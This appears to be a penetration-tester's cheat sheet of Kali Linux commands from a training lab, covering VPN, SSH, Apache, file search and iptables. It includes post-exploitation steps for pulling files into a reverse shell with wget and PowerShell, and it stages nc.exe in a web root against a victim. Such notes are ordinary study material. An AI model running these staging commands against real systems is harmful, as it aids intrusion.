Kali Common commands

VPN

• openvpn --config VPN/OS-XXXX-PWK.ovpn --auth-user-pass <(echo -e "vpnuser\nvpnpass")

Remote Desktop

• rdesktop -u newuser -p newpass -g 1280x720 Windows_IP

SSH

• systemctl start ssh
• systemctl enable ssh

Enable root login

• vim /etc/ssh/sshd_config
• PermitRootLogin yes
• systemctl restart ssh

SSH - Windows client

• Can use plink.exe in Windows as command-line ssh client
• /usr/share/windows-binaries/plink.exe

Apache

• systemctl start apache2
• systemctl enable apache2
• cd /var/www/html
• mv index.html index.html.bak
• mv index.nginx-debian.html index.nginx-debian.html.bak
• Download and upload WinSCP to Windows client: https://winscp.net/download/WinSCP-5.15.4-Setup.exe
• Copy nc files: cp nc.exe /var/www/html

SimpleHTTPServer

To show current file in current directory. Able to display access log, too.

• python -m SimpleHTTPServer 80

Search files

• updatedb
• locate xyz.txt

Download files

• In reverse shell - Linux: wget 10.10.10.10/file
• In reverse shell - Windows: powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"

Install OpenVAS

• apt install openvas
• openvas-setup

Traffic accounting using iptables

Setup

• iptables -I INPUT 1 -s victim-ip -j ACCEPT
• iptables -I OUTPUT 1 -d victim-ip -j ACCEPT

Reset the traffic counters

• iptables -Z

View traffic

• watch iptables -vn -L

View images as string

• strings nineveh.png